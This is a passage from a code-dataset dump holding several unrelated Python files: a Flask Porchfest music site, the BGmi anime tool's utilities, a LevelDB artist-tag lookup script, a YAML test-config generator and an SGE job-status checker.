'genres&aqs=chrome..69i57j69i60j0l4.1688j0j7&sourceid=chrome&ie=UTF-8')\n for genre in genre_list:\n new_genre = Genre(name=genre)\n new_genre.save(cascade=True)\n\n\n@bp.route('/reset_db')\ndef reset_db():\n db.connection.drop_database('porchfest_radio')\n get_genres() # Reset the genres for the system\n add_objects() # Add default objects\n make_default_user_connections() # Add connections between Users and Artists\n flash(\"Database has been reset!\")\n return redirect(url_for('main.index'))\n\n\n@bp.route('/')\n@bp.route('/index')\ndef index():\n return render_template('index.html', title='Porchfest')\n\n\n@bp.route('/profile/')\n@login_required\ndef profile(username):\n user = User.objects(username=username).first_or_404()\n return render_template('user.html', user=user, title='{} Page'.format(username))\n\n\n@bp.route('/edit_profile', methods=['GET', 'POST'])\n@login_required\ndef edit_profile():\n form = EditProfileForm(current_user.username)\n if form.validate_on_submit():\n current_user.username = form.username.data\n current_user.email = form.email.data\n current_user.name = form.name.data\n current_user.save()\n flash('Your changes have been saved.')\n return redirect(url_for('main.profile', username=current_user.username))\n elif request.method == 'GET':\n form.name.data = current_user.name\n form.username.data = current_user.username\n form.email.data = current_user.email\n return render_template('edit_profile.html', title='Edit Profile',\n form=form)\n\n\n@bp.route('/artist/')\ndef artist(artist_name):\n artist = Artist.objects(name=artist_name).first_or_404()\n shows_for_artist = Show.objects(artist=artist, start_time__gt=datetime.utcnow)\n return render_template('artist.html', artist=artist, shows=shows_for_artist, title='{} Info'.format(artist.name))\n\n\n@bp.route('/create_artist', methods=['GET', 'POST'])\n@login_required\ndef create_artist():\n form = CreateArtistForm()\n form.location.choices = [(location.id, location.city + ', ' + location.state) for location in Location.objects()]\n form.genre.choices = [(genre.id, genre.name) for genre in Genre.objects.order_by('name')]\n if form.validate_on_submit():\n user = User.objects(username=current_user.username).first()\n location = Location.objects(id=form.location.data).first()\n genres = []\n for genre_id in form.genre.data:\n genres.append(Genre.objects(id=genre_id).first())\n artist = Artist(name=form.name.data, description=form.description.data, location=location,\n genre=genres)\n artist.save(cascade=True)\n add_member(user, artist)\n flash('Artist {} was created'.format(artist.name))\n return redirect(url_for('main.artist', artist_name=artist.name))\n return render_template('create_artist.html', form=form, title='Create Artist')\n\n\n@bp.route('/edit_artist/', methods=['GET', 'POST'])\n@login_required\ndef edit_artist(artist_name):\n artist = Artist.objects(name=artist_name).first_or_404()\n if current_user not in artist.members:\n flash('You are not authorized to edit {}\\'s information'.format(artist.name))\n return redirect(url_for('main.artist', artist_name=artist.name))\n form = EditArtistForm()\n form.location.choices = [(location.id, location.city + ', ' + location.state) for location in Location.objects()]\n form.genre.choices = [(genre.id, genre.name) for genre in Genre.objects.order_by('name')]\n if form.validate_on_submit():\n artist.name = form.name.data\n artist.description = form.description.data\n artist.location = Location.objects(id=form.location.data).first()\n artist.genre = [Genre.objects(id=genre).first() for genre in form.genre.data]\n artist.save(cascade=True)\n flash('{} Edits Complete'.format(artist.name))\n return redirect(url_for('main.artist', artist_name=artist.name))\n elif request.method == 'GET':\n form.name.data = artist.name\n form.description.data = artist.description\n form.genre.data = [genre.id for genre in artist.genre]\n form.location.data = artist.location.id\n return render_template('edit_artist.html', form=form, title='Edit {}'.format(artist.name))\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ['mp3', 'wav']\n\n\ndef upload_file_to_s3(file, bucket_name):\n filename = file.filename\n try:\n s3 = boto3.client('s3', aws_access_key_id=current_app.config['S3_KEY'],\n aws_secret_access_key=current_app.config['S3_SECRET'])\n\n s3.upload_fileobj(\n file,\n bucket_name,\n filename,\n ExtraArgs={\n \"ContentType\": file.content_type,\n 'ACL': 'public-read'\n }\n )\n\n except Exception as e:\n # This is a catch all exception, edit this part to fit your needs.\n print(\"Error uploading file: \", e)\n return None\n\n return \"{}{}\".format(current_app.config[\"S3_LOCATION\"], filename), \\\n \"http://{}{}\".format(current_app.config[\"CLOUDFRONT_URL\"], filename)\n\n\n@bp.route('/get_track/')\ndef get_track(track_name):\n track = Track.objects(track_name=track_name).first_or_404()\n track_url = track.filepath\n return jsonify({\n 'track_url': track_url\n })\n\n\n@bp.route('/upload_track/', methods=['GET', 'POST'])\n@login_required\ndef upload_track(artist_name):\n artist = Artist.objects(name=artist_name).first_or_404()\n if current_user not in artist.members:\n flash('You are not authorized to upload tracks for {}'.format(artist.name))\n return redirect(url_for('main.artist', artist_name=artist.name))\n form = UploadTrackForm()\n form.genre.choices = [(genre.id, genre.name) for genre in Genre.objects.order_by('name')]\n if form.validate_on_submit():\n file = form.track.data\n if not allowed_file(file.filename):\n flash('Only music files are allowed')\n return render_template('upload_track.html', form=form, artist=artist, title='Upload Track')\n file.filename = secure_filename(file.filename)\n s3_filepath, cloudfront_filepath = upload_file_to_s3(file, current_app.config['S3_BUCKET'])\n track_exists = Track.objects(s3_filepath=s3_filepath, cloudfront_filepath=cloudfront_filepath).first() is not None # 1 if track exists\n if s3_filepath is not None and cloudfront_filepath is not None and not track_exists:\n new_track = Track(track_name=form.track_name.data, artist=artist, duration=0,\n genre=[Genre.objects(id=genre).first() for genre in form.genre.data],\n s3_filepath=s3_filepath, cloudfront_filepath=cloudfront_filepath)\n new_track.save(cascade=True) # Saves the track in the mongoDB\n\n # filepath = os.path.join(current_app.config['UPLOAD_FOLDER'], file.filename)\n # new_track = Track(track_name=form.track_name.data, artist=artist, duration=0,\n # genre=[Genre.objects(id=genre).first() for genre in form.genre.data], filepath=filepath)\n # new_track.save(cascade=True) # Saves the track in the mongoDB\n # file.save(filepath)\n artist.tracks.append(new_track)\n artist.save(cascade=True) # Save artist with new track\n flash('Track successfully uploaded')\n return redirect(url_for('main.artist', artist_name=artist_name))\n else:\n if track_exists:\n flash('Track already exists!')\n return render_template('upload_track.html', form=form, artist=artist, title='Upload Track')\n else:\n flash('Error uploading file')\n return render_template('upload_track.html', form=form, artist=artist, title='Upload Track')\n return render_template('upload_track.html', form=form, artist=artist, title='Upload Track')\n\n\n@bp.route('/add_member/', methods=['GET', 'POST'])\n@login_required\ndef add_artist_member(artist_name):\n artist = Artist.objects(name=artist_name).first_or_404()\n if current_user not in artist.members:\n flash('You are not authorized to add members to {}'.format(artist.name))\n return redirect(url_for('main.artist', artist_name=artist.name))\n form = AddArtistMemberForm()\n if form.validate_on_submit():\n for member in artist.members:\n if form.username.data == member.username:\n flash('Cannot add a current member to your band!')\n return render_template('add_artist_member.html', form=form, artist=artist, title='Add Member')\n new_member = User.objects(username=form.username.data).first()\n if new_member is None:\n flash('User with that username does not exist!')\n return render_template('add_artist_member.html', form=form, artist=artist, title='Add Member')\n else:\n add_member(new_member, artist)\n flash('Added {} to {}'.format(new_member.username, artist.name))\n return redirect(url_for('main.artist', artist_name=artist_name))\n return render_template('add_artist_member.html', form=form, artist=artist, title='Add Member')\n\n\n@bp.route('/follow/')\n@login_required\ndef follow_artist(artist_name):\n artist = Artist.objects(name=artist_name).first_or_404()\n user = User.objects(username=current_user.username).first()\n if artist is None:\n flash('Artist {} does not exist!'.format(artist_name))\n elif current_user in artist.followers:\n flash('You are already following {}'.format(artist.name))\n else:\n follow_band(user, artist)\n flash('Successfully followed {}'.format(artist.name))\n return redirect(url_for('main.artist', artist_name=artist.name))\n\n\n@bp.route('/unfollow/')\n@login_required\ndef unfollow_artist(artist_name):\n artist = Artist.objects(name=artist_name).first_or_404()\n user = User.objects(username=current_user.username).first()\n if artist is None:\n flash('Artist {} does not exist!'.format(artist_name))\n elif current_user not in artist.followers:\n flash('You are not currently following {}'.format(artist.name))\n else:\n unfollow_band(user, artist)\n flash('Successfully unfollowed {}'.format(artist.name))\n return redirect(url_for('main.artist', artist_name=artist.name))\n\n\n@bp.route('/find_a_porchfest')\ndef find_a_porchfest():\n default = Porchfest.objects(location=Location.objects(zip_code='14850').first()).first()\n form = FindAPorchfestForm(porchfest=default.id)\n form.porchfest.choices = [(\"\", \"---\")] + [(p.id,\n p.location.city + \", \" + p.location.state + \" \" + p.start_time.strftime(\n \"%m-%d-%Y %H:%M\") + \" to \" + p.end_time.strftime(\"%m-%d-%Y %H:%M\")) for p\n in Porchfest.objects()]\n return render_template('find_a_porchfest.html', form=form)\n\n\n# Porchfest Page Stuff\n@bp.route('/_artists_for_porchfest') # restful lookup for findaporchfest page\ndef artists_for_porchfest():\n porchfest_id = request.args.get('porchfestID', '')\n porchfest = Porchfest.objects.get(id=porchfest_id)\n porchfest_artists = []\n for show in porchfest.shows:\n artist_name = show.artist.name\n if artist_name not in porchfest_artists:\n porchfest_artists.append(artist_name)\n return jsonify(porchfest_artists)\n\n\n@bp.route('/porchfest_playlist/')\ndef porchfest_playlist(porchfest_id): # Get tracks for every artist performing at specified Porchfest\n porchfest = Porchfest.objects.get(id=porchfest_id)\n porchfest_tracks = []\n porchfest_artist_names = []\n for show in porchfest.shows:\n artist_name = show.artist.name\n if artist_name not in porchfest_artist_names:\n porchfest_artist_names.append(artist_name)\n porchfest_artists = []\n for porchfest_artist_name in porchfest_artist_names:\n porchfest_artists.append(Artist.objects(name=porchfest_artist_name).first())\n for artist in porchfest_artists:\n for track in artist.tracks:\n if track not in porchfest_tracks:\n porchfest_tracks.append(track)\n return render_template('porchfest_radio.html', tracks=porchfest_tracks, porchfest=porchfest)\n","sub_path":"app/main/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":19277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"95559464","text":"import functools\nimport glob\nimport gzip\nimport json\nimport logging\nimport os\nimport re\nimport struct\nimport subprocess\nimport sys\nimport tarfile\nimport time\nimport traceback\nfrom io import BytesIO\nfrom multiprocessing.pool import ThreadPool\nfrom shutil import move, rmtree\nfrom typing import Any, Callable, List, Optional, Tuple, TypeVar, Union\n\nimport requests\n\nfrom bgmi import __admin_version__, __version__\nfrom bgmi.config import (\n BGMI_PATH,\n DATA_SOURCE,\n ENABLE_GLOBAL_FILTER,\n FRONT_STATIC_PATH,\n GLOBAL_FILTER,\n IS_WINDOWS,\n LOG_PATH,\n SAVE_PATH,\n)\nfrom bgmi.lib.constants import SUPPORT_WEBSITE\nfrom bgmi.website.model import Episode\n\nF = TypeVar(\"F\", bound=Callable[..., Any])\n\nlog_level = os.environ.get(\"BGMI_LOG\") or \"ERROR\"\nlog_level = log_level.upper()\nif log_level not in [\"DEBUG\", \"INFO\", \"WARNING\", \"ERROR\"]:\n print(\"log level error, doing nothing and exit\")\n sys.exit(1)\nlogger = logging.getLogger(\"BGmi\")\ntry:\n h = logging.FileHandler(LOG_PATH, \"a+\", \"utf-8\")\n handlers = [h]\n fs = logging.BASIC_FORMAT\n fmt = logging.Formatter(fs)\n h.setFormatter(fmt)\n logging.root.addHandler(h)\n logging.root.setLevel(log_level)\nexcept OSError:\n logging.basicConfig(stream=sys.stdout, level=logging.getLevelName(log_level))\n\n\ndef log_utils_function(func: F) -> F:\n @functools.wraps(func)\n def echo_func(*func_args, **func_kwargs): # type: ignore\n logger.debug(\"\")\n logger.debug(\"start function %s %r %r\", func.__name__, func_args, func_kwargs)\n r = func(*func_args, **func_kwargs)\n logger.debug(\"return function %s %r\", func.__name__, r)\n logger.debug(\"\")\n return r\n\n return echo_func # type: ignore\n\n\nif (\n IS_WINDOWS\n and \"bash\" not in os.getenv(\"SHELL\", \"\").lower()\n and \"zsh\" not in os.getenv(\"SHELL\", \"\").lower()\n): # pragma: no cover\n GREEN = \"\"\n YELLOW = \"\"\n RED = \"\"\n COLOR_END = \"\"\nelse:\n GREEN = \"\\033[1;32m\"\n YELLOW = \"\\033[1;33m\"\n RED = \"\\033[1;31m\"\n COLOR_END = \"\\033[0m\"\n\ncolor_map = {\n \"print_info\": \"\",\n \"print_success\": GREEN,\n \"print_warning\": YELLOW,\n \"print_error\": RED,\n}\n\nindicator_map = {\n \"print_info\": \"[*] \",\n \"print_success\": \"[+] \",\n \"print_warning\": \"[-] \",\n \"print_error\": \"[x] \",\n}\n\nNPM_REGISTER_DOMAIN = \"registry.npmjs.com\"\nFRONTEND_NPM_URL = f\"https://{NPM_REGISTER_DOMAIN}/bgmi-frontend/\"\nPACKAGE_JSON_URL = \"https://{}/bgmi-frontend/{}\".format(\n NPM_REGISTER_DOMAIN, __admin_version__\n)\n\n\ndef _indicator(f): # type: ignore\n @functools.wraps(f)\n def wrapper(*args, **kwargs): # type: ignore\n if kwargs.get(\"indicator\", True):\n func_name = f.__qualname__\n args = (indicator_map.get(func_name, \"\") + args[0],)\n f(*args, **kwargs)\n sys.stdout.flush()\n\n return wrapper\n\n\ndef colorize(f): # type: ignore\n @functools.wraps(f)\n def wrapper(*args, **kwargs): # type: ignore\n func_name = f.__qualname__\n b, e = (\n color_map.get(func_name, \"\"),\n COLOR_END if color_map.get(func_name) else \"\",\n )\n args = tuple(map(lambda s: b + s + e, args))\n return f(*args, **kwargs)\n\n return wrapper\n\n\n@_indicator\n@colorize\ndef print_info(message: str, indicator: bool = True) -> None:\n logger.info(message)\n print(message + \"\\n\", end=\"\")\n\n\n@_indicator\n@colorize\ndef print_success(message: str, indicator: bool = True) -> None:\n logger.info(message)\n print(message)\n\n\n@_indicator\n@colorize\ndef print_warning(message: str, indicator: bool = True) -> None:\n logger.warning(message)\n print(message)\n\n\n@_indicator\n@colorize\ndef print_error(message: str, exit_: bool = True, indicator: bool = True) -> None:\n logger.error(message)\n print(message)\n if exit_:\n sys.exit(1)\n\n\ndef print_version() -> str:\n return \"\"\"BGmi {c}ver. {v}{e} built by {c}RicterZ{e} with ❤️\n\nGithub: https://github.com/BGmi/BGmi\nEmail: ricterzheng@gmail.com\nBlog: https://ricterz.me\"\"\".format(\n c=YELLOW, v=__version__, e=COLOR_END\n )\n\n\n@log_utils_function\ndef test_connection() -> bool:\n try:\n for website in SUPPORT_WEBSITE:\n if DATA_SOURCE == website[\"id\"]:\n requests.request(\"head\", website[\"url\"], timeout=10)\n except requests.RequestException:\n return False\n return True\n\n\ndef bug_report() -> None: # pragma: no cover\n print_error(\n \"It seems that no bangumi found, if https://bangumi.moe can \\n be opened \"\n \"normally, please submit issue at: https://github.com/BGmi/BGmi/issues\"\n )\n\n\n_DEFAULT_TERMINAL_WIDTH = 80\n\n\n@log_utils_function\ndef get_terminal_col() -> int: # pragma: no cover\n # pylint: disable=import-outside-toplevel,import-error\n # https://gist.github.com/jtriley/1108174\n if not IS_WINDOWS:\n import fcntl\n import termios\n\n try:\n col = struct.unpack(\n \"HHHH\",\n fcntl.ioctl(0, termios.TIOCGWINSZ, struct.pack(\"HHHH\", 0, 0, 0, 0)),\n )[\n 1\n ] # type: int\n\n return col\n except Exception:\n return _DEFAULT_TERMINAL_WIDTH\n else:\n try:\n from ctypes import ( # type: ignore[attr-defined]\n create_string_buffer,\n windll,\n )\n\n # stdin handle is -10\n # stdout handle is -11\n # stderr handle is -12\n h = windll.kernel32.GetStdHandle(-12)\n csbi = create_string_buffer(22)\n res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)\n if res:\n (\n bufx,\n bufy,\n curx,\n cury,\n wattr,\n left,\n top,\n right,\n bottom,\n maxx,\n maxy,\n ) = struct.unpack(\"hhhhHhhhhhh\", csbi.raw)\n sizex = right - left + 1 # type: int\n return sizex\n else:\n\n cols = int(subprocess.check_output(\"tput cols\"))\n return cols\n except Exception:\n return _DEFAULT_TERMINAL_WIDTH\n\n\n@log_utils_function\ndef check_update(mark: bool = True) -> None:\n def update() -> None:\n try:\n print_info(\"Checking update ...\")\n pypi = requests.get(\"https://pypi.org/pypi/bgmi/json\").json()\n version = pypi[\"info\"][\"version\"]\n\n with open(os.path.join(BGMI_PATH, \"latest\"), \"w\", encoding=\"utf8\") as f:\n f.write(version)\n\n if version > __version__:\n print_warning(\n \"Please update bgmi to the latest version {}{}{}.\"\n \"\\nThen execute `bgmi upgrade` to migrate database\".format(\n GREEN, version, COLOR_END\n )\n )\n else:\n print_success(\"Your BGmi is the latest version.\")\n\n package_json = requests.get(PACKAGE_JSON_URL).json()\n admin_version = package_json[\"version\"]\n if glob.glob(os.path.join(FRONT_STATIC_PATH, \"package.json\")):\n with open(\n os.path.join(FRONT_STATIC_PATH, \"package.json\"), encoding=\"utf8\"\n ) as f:\n local_version = json.loads(f.read())[\"version\"]\n if [int(x) for x in admin_version.split(\".\")] > [\n int(x) for x in local_version.split(\".\")\n ]:\n get_web_admin(method=\"update\")\n else:\n print_info(\n \"Use 'bgmi install' to install BGmi frontend / download delegate\"\n )\n if not mark:\n update()\n raise SystemExit\n except Exception as e:\n print_warning(f\"Error occurs when checking update, {str(e)}\")\n\n version_file = os.path.join(BGMI_PATH, \"version\")\n if not os.path.exists(version_file):\n with open(version_file, \"w\", encoding=\"utf8\") as f:\n f.write(str(int(time.time())))\n update()\n\n with open(version_file, encoding=\"utf8\") as f:\n try:\n data = int(f.read())\n if time.time() - 7 * 24 * 3600 > data:\n with open(version_file, \"w\", encoding=\"utf8\") as f:\n f.write(str(int(time.time())))\n update()\n except ValueError:\n pass\n\n\ndef chinese_to_arabic(cn: str) -> int:\n \"\"\"\n https://blog.csdn.net/hexrain/article/details/52790126\n :type cn: str\n :rtype: int\n \"\"\"\n CN_NUM = {\n \"〇\": 0,\n \"一\": 1,\n \"二\": 2,\n \"三\": 3,\n \"四\": 4,\n \"五\": 5,\n \"六\": 6,\n \"七\": 7,\n \"八\": 8,\n \"九\": 9,\n \"零\": 0,\n \"壹\": 1,\n \"贰\": 2,\n \"叁\": 3,\n \"肆\": 4,\n \"伍\": 5,\n \"陆\": 6,\n \"柒\": 7,\n \"捌\": 8,\n \"玖\": 9,\n \"貮\": 2,\n \"两\": 2,\n }\n\n CN_UNIT = {\n \"十\": 10,\n \"拾\": 10,\n \"百\": 100,\n \"佰\": 100,\n \"千\": 1000,\n \"仟\": 1000,\n \"万\": 10000,\n \"萬\": 10000,\n }\n unit = 0 # current\n ldig = [] # digest\n for cndig in reversed(cn):\n if cndig in CN_UNIT:\n unit = CN_UNIT[cndig]\n if unit in (10000, 100000000):\n ldig.append(unit)\n unit = 1\n else:\n dig = CN_NUM[cndig]\n if unit:\n dig *= unit\n unit = 0\n ldig.append(dig)\n if unit == 10:\n ldig.append(10)\n val, tmp = 0, 0\n for x in reversed(ldig):\n if x in (10000, 100000000):\n val += tmp * x\n tmp = 0\n else:\n tmp += x\n val += tmp\n return val\n\n\nFETCH_EPISODE_WITH_BRACKETS = re.compile(r\"[【\\[]E?(\\d+)\\s?(?:END)?[】\\]]\")\n\nFETCH_EPISODE_ZH = re.compile(r\"第?\\s?(\\d{1,3})\\s?[話话集]\")\nFETCH_EPISODE_ALL_ZH = re.compile(r\"第([^第]*?)[話话集]\")\nFETCH_EPISODE_ONLY_NUM = re.compile(r\"^([\\d]{2,})$\")\n\nFETCH_EPISODE_RANGE = re.compile(r\"[^sS][\\d]{2,}\\s?-\\s?([\\d]{2,})\")\nFETCH_EPISODE_RANGE_ZH = re.compile(r\"[第][\\d]{2,}\\s?-\\s?([\\d]{2,})\\s?[話话集]\")\nFETCH_EPISODE_RANGE_ALL_ZH_1 = re.compile(r\"[全]([\\d-]*?)[話话集]\")\nFETCH_EPISODE_RANGE_ALL_ZH_2 = re.compile(r\"第?(\\d-\\d)[話话集]\")\n\nFETCH_EPISODE_OVA_OAD = re.compile(r\"([\\d]{2,})\\s?\\((?:OVA|OAD)\\)]\")\nFETCH_EPISODE_WITH_VERSION = re.compile(r\"[【\\[](\\d+)\\s? *v\\d(?:END)?[】\\]]\")\n\nFETCH_EPISODE = (\n FETCH_EPISODE_ZH,\n FETCH_EPISODE_ALL_ZH,\n FETCH_EPISODE_WITH_BRACKETS,\n FETCH_EPISODE_ONLY_NUM,\n FETCH_EPISODE_RANGE,\n FETCH_EPISODE_RANGE_ALL_ZH_1,\n FETCH_EPISODE_RANGE_ALL_ZH_2,\n FETCH_EPISODE_OVA_OAD,\n FETCH_EPISODE_WITH_VERSION,\n)\n\n\n@log_utils_function\ndef parse_episode(episode_title: str) -> int:\n \"\"\"\n parse episode from title\n :param episode_title: episode title\n :type episode_title: str\n :return: episode of this title\n :rtype: int\n \"\"\"\n spare = None\n\n def get_real_episode(episode_list: Union[List[str], List[int]]) -> int:\n return min(int(x) for x in episode_list)\n\n for pattern in (FETCH_EPISODE_RANGE_ALL_ZH_1, FETCH_EPISODE_RANGE_ALL_ZH_2):\n _ = pattern.findall(episode_title)\n if _ and _[0]:\n logger.debug(\"return episode range all zh '%s'\", pattern.pattern)\n return int(0)\n\n _ = FETCH_EPISODE_RANGE.findall(episode_title)\n if _ and _[0]:\n logger.debug(\"return episode range\")\n return int(0)\n\n _ = FETCH_EPISODE_RANGE_ZH.findall(episode_title)\n if _ and _[0]:\n logger.debug(\"return episode range zh\")\n return int(0)\n\n _ = FETCH_EPISODE_ZH.findall(episode_title)\n if _ and _[0].isdigit():\n logger.debug(\"return episode zh\")\n return int(_[0])\n\n _ = FETCH_EPISODE_ALL_ZH.findall(episode_title)\n if _ and _[0]:\n try:\n logger.debug(\"try return episode all zh %s\", _)\n e = chinese_to_arabic(_[0])\n logger.debug(\"return episode all zh\")\n return e\n except Exception:\n logger.debug(\"can't convert %s to int\", _[0])\n\n _ = FETCH_EPISODE_WITH_VERSION.findall(episode_title)\n if _ and _[0].isdigit():\n logger.debug(\"return episode range with version\")\n return int(_[0])\n\n _ = FETCH_EPISODE_WITH_BRACKETS.findall(episode_title)\n if _:\n logger.debug(\"return episode with brackets\")\n return get_real_episode(_)\n\n logger.debug(\"don't match any regex, try match after split\")\n rest: List[int] = []\n for i in episode_title.replace(\"[\", \" \").replace(\"【\", \",\").split(\" \"):\n for regexp in FETCH_EPISODE:\n match = regexp.findall(i)\n if match and match[0].isdigit():\n m = int(match[0])\n if m > 1000:\n spare = m\n else:\n logger.debug(\"match %s '%s' %d\", i, regexp.pattern, m)\n rest.append(m)\n\n if rest:\n return get_real_episode(rest)\n\n if spare:\n return spare\n\n return 0\n\n\n@log_utils_function\ndef normalize_path(url: str) -> str:\n \"\"\"\n normalize link to path\n\n :param url: path or url to normalize\n :type url: str\n :return: normalized path\n :rtype: str\n \"\"\"\n url = url.replace(\"http://\", \"http/\").replace(\"https://\", \"https/\")\n illegal_char = [\":\", \"*\", \"?\", '\"', \"<\", \">\", \"|\", \"'\"]\n for char in illegal_char:\n url = url.replace(char, \"\")\n\n if url.startswith(\"/\"):\n return url[1:]\n else:\n return url\n\n\ndef get_web_admin(method: str) -> None:\n print_info(f\"{method[0].upper() + method[1:]}ing BGmi frontend\")\n\n try:\n r = requests.get(FRONTEND_NPM_URL).json()\n version = requests.get(PACKAGE_JSON_URL).json()\n if (\n \"error\" in version and version[\"reason\"] == \"document not found\"\n ): # pragma: no cover\n print_error(\n \"Cnpm has not synchronized the latest version of BGmi-frontend from \"\n \"npm, please try it later\"\n )\n return\n tar_url = r[\"versions\"][version[\"version\"]][\"dist\"][\"tarball\"]\n r = requests.get(tar_url)\n except requests.exceptions.ConnectionError:\n print_warning(\"failed to download web admin\")\n return\n except json.JSONDecodeError:\n print_warning(\"failed to download web admin\")\n return\n admin_zip = BytesIO(r.content)\n with gzip.GzipFile(fileobj=admin_zip) as f:\n tar_file = BytesIO(f.read())\n\n rmtree(FRONT_STATIC_PATH)\n os.makedirs(FRONT_STATIC_PATH)\n\n with tarfile.open(fileobj=tar_file) as tar_file_obj:\n tar_file_obj.extractall(path=FRONT_STATIC_PATH)\n\n for file in os.listdir(os.path.join(FRONT_STATIC_PATH, \"package\", \"dist\")):\n move(\n os.path.join(FRONT_STATIC_PATH, \"package\", \"dist\", file),\n os.path.join(FRONT_STATIC_PATH, file),\n )\n with open(\n os.path.join(FRONT_STATIC_PATH, \"package.json\"), \"w+\", encoding=\"utf8\"\n ) as pkg:\n pkg.write(json.dumps(version))\n print_success(\n \"Web admin page {} successfully. version: {}\".format(method, version[\"version\"])\n )\n\n\n@log_utils_function\ndef convert_cover_url_to_path(cover_url: str) -> Tuple[str, str]:\n \"\"\"\n convert bangumi cover to file path\n\n :param cover_url: bangumi cover path\n :type cover_url:str\n :rtype: str,str\n :return: dir_path, file_path\n \"\"\"\n\n cover_url = normalize_path(cover_url)\n file_path = os.path.join(SAVE_PATH, \"cover\")\n file_path = os.path.join(file_path, cover_url)\n dir_path = os.path.dirname(file_path)\n\n return dir_path, file_path\n\n\n@log_utils_function\ndef download_file(url: str) -> Optional[requests.Response]:\n if url.startswith(\"https://\") or url.startswith(\"http://\"):\n print_info(f\"Download: {url}\")\n return requests.get(url)\n return None\n\n\n@log_utils_function\ndef download_cover(cover_url_list: List[str]) -> None:\n p = ThreadPool(4)\n content_list = p.map(download_file, cover_url_list)\n p.close()\n for index, r in enumerate(content_list):\n if not r:\n continue\n\n dir_path, file_path = convert_cover_url_to_path(cover_url_list[index])\n if not glob.glob(dir_path):\n os.makedirs(dir_path)\n with open(file_path, \"wb\") as f:\n f.write(r.content)\n\n\ndef episode_filter_regex(data: List[Episode], regex: str = None) -> List[Episode]:\n \"\"\"\n\n :param data: list of bangumi dict\n :param regex: regex\n \"\"\"\n if regex:\n try:\n match = re.compile(regex)\n data = [s for s in data if match.findall(s.title)]\n except re.error as e:\n if os.getenv(\"DEBUG\"): # pragma: no cover\n traceback.print_exc()\n raise e\n print_warning(f\"can't compile regex {regex}, skipping filter by regex\")\n\n if ENABLE_GLOBAL_FILTER != \"0\":\n exclude_keywords = [t.strip().lower() for t in GLOBAL_FILTER.split(\",\")]\n data = [x for x in data if not x.contains_any_words(exclude_keywords)]\n\n return data\n","sub_path":"bgmi/utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":17302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"19882340","text":"#import plyvel\nimport json\nimport leveldb\nimport gzip\n\nartist_tag_db = leveldb.LevelDB('../data/artist_tag_db',create_if_missing = True)\n\n# create db\nwith gzip.open('../data/artist.json.gz','rt') as artist_js:\n#with open('../data/artist.json','r') as artist_js:\n#readlines = artist_js.readlines()\n for line in artist_js:\n data = json.loads(line)\n# key = data['name'] --> 複数いた時に出ない\n key = data['name'] + '\\t' + str(data['id'])\n# print(key)\n# value = data['area']\n value = data.get('tags')\n if value is None:\n value = []\n# print(value)\n artist_tag_db.Put(key.encode(),json.dumps(value).encode())\n\n# search tags\nartist = input('artist:')\n\nfor key,value in artist_tag_db.RangeIter():\n name_ids = key.decode()\n name,ids = name_ids.split('\\t')\n if name == artist:\n print(\"(id:{}) {}'s tags:\".format(ids,name))\n tags = json.loads(value.decode())\n if len(tags) > 0:\n for tag in tags:\n print(\"{}\\t{}counts\".format(tag['value'],tag['count']))\n else:\n print('tags is not found')\n","sub_path":"yohta/chapter07/knock63.py","file_name":"knock63.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"230766953","text":"import math, sys\n\n# Variables\nT = 54 # Test Cases\nP = [0] + [0, 5, 5, 5, 10] # All Points\nI = 1 # Batch Index\nnullchr = [1E9, -1]\nB = [nullchr, (1, 9), (10, 20), (21, 31), (32, 53), nullchr] # Ranges\nJ = 0 # Local Index\n\n# Optional\nOUT_LIMIT = int(1E6)\nOUT_PREFX = 0\n\n# String Format\nCODE = 'zombies'\nINN = CODE + '.%d.in'\nOUT = CODE + '.%d.out'\nCHECKER = CODE + '.checker.py'\n# Batch / Case Lines\nUSUAL_CASE = '- { in: %s, out: %s'\nBATCH_CASE = ' '*4 + USUAL_CASE + ' }'\n# Point Value\nPOINT = ' points: %d'\nUSUAL_CASE += ',' + POINT + ' }'\n\n# init.yml\nprint('archive: ' + CODE + '.zip')\nif False:\n print('checker: ' + CHECKER)\n print('output_limit_length: %d' % OUT_LIMIT)\n print('output_prefix_length: %d' % OUT_PREFX)\nprint('test_cases:')\nfor i in range(T):\n if B[I][0] <= i and i <= B[I][1]:\n if B[I][0] == i:\n print('- batched:')\n print(BATCH_CASE % (INN % i, OUT % i))\n if B[I][1] == i:\n print(' ' + POINT % P[I+J])\n I += 1\n else:\n print(USUAL_CASE % (INN % i, OUT % i, P[I+J]))\n J += 1\n","sub_path":"Resources/yml.generator.py","file_name":"yml.generator.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"329152183","text":"#!/usr/bin/env python3\n\nimport sys\nimport subprocess\n\njobid = sys.argv[1]\n\ntry:\n proc = subprocess.run([\"qstat\", \"-j\", jobid], encoding='utf-8',\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n if proc.returncode == 0:\n state = \"\"\n for line in proc.stdout.split('\\n'):\n if line.startswith(\"job_state\"):\n parts = line.split(\":\")\n state = parts[1].strip()\n\n if \"E\" in state:\n print(\"failed\")\n else:\n print(\"running\")\n else:\n proc = subprocess.run([\"qacct\", \"-j\", jobid], encoding='utf-8',\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n if proc.returncode == 0:\n job_props = {}\n for line in proc.stdout.split('\\n'):\n parts = line.split(maxsplit=1)\n if len(parts) <= 1:\n continue\n\n key, value = parts\n job_props[key.strip()] = value.strip()\n\n if (job_props.get(\"failed\", \"1\") == \"0\" and\n job_props.get(\"exit_status\", \"1\") == \"0\"):\n print(\"success\")\n else:\n print(\"failed\")\n else:\n # If not found with qstat or qacct, it's probably in some sort of\n # transistion phase (from running to finished), so let's not\n # confuse snakemake to think it may have failed.\n print(\"running\")\nexcept KeyboardInterrupt:\n pass\n\n","sub_path":"{{ cookiecutter.profile_name 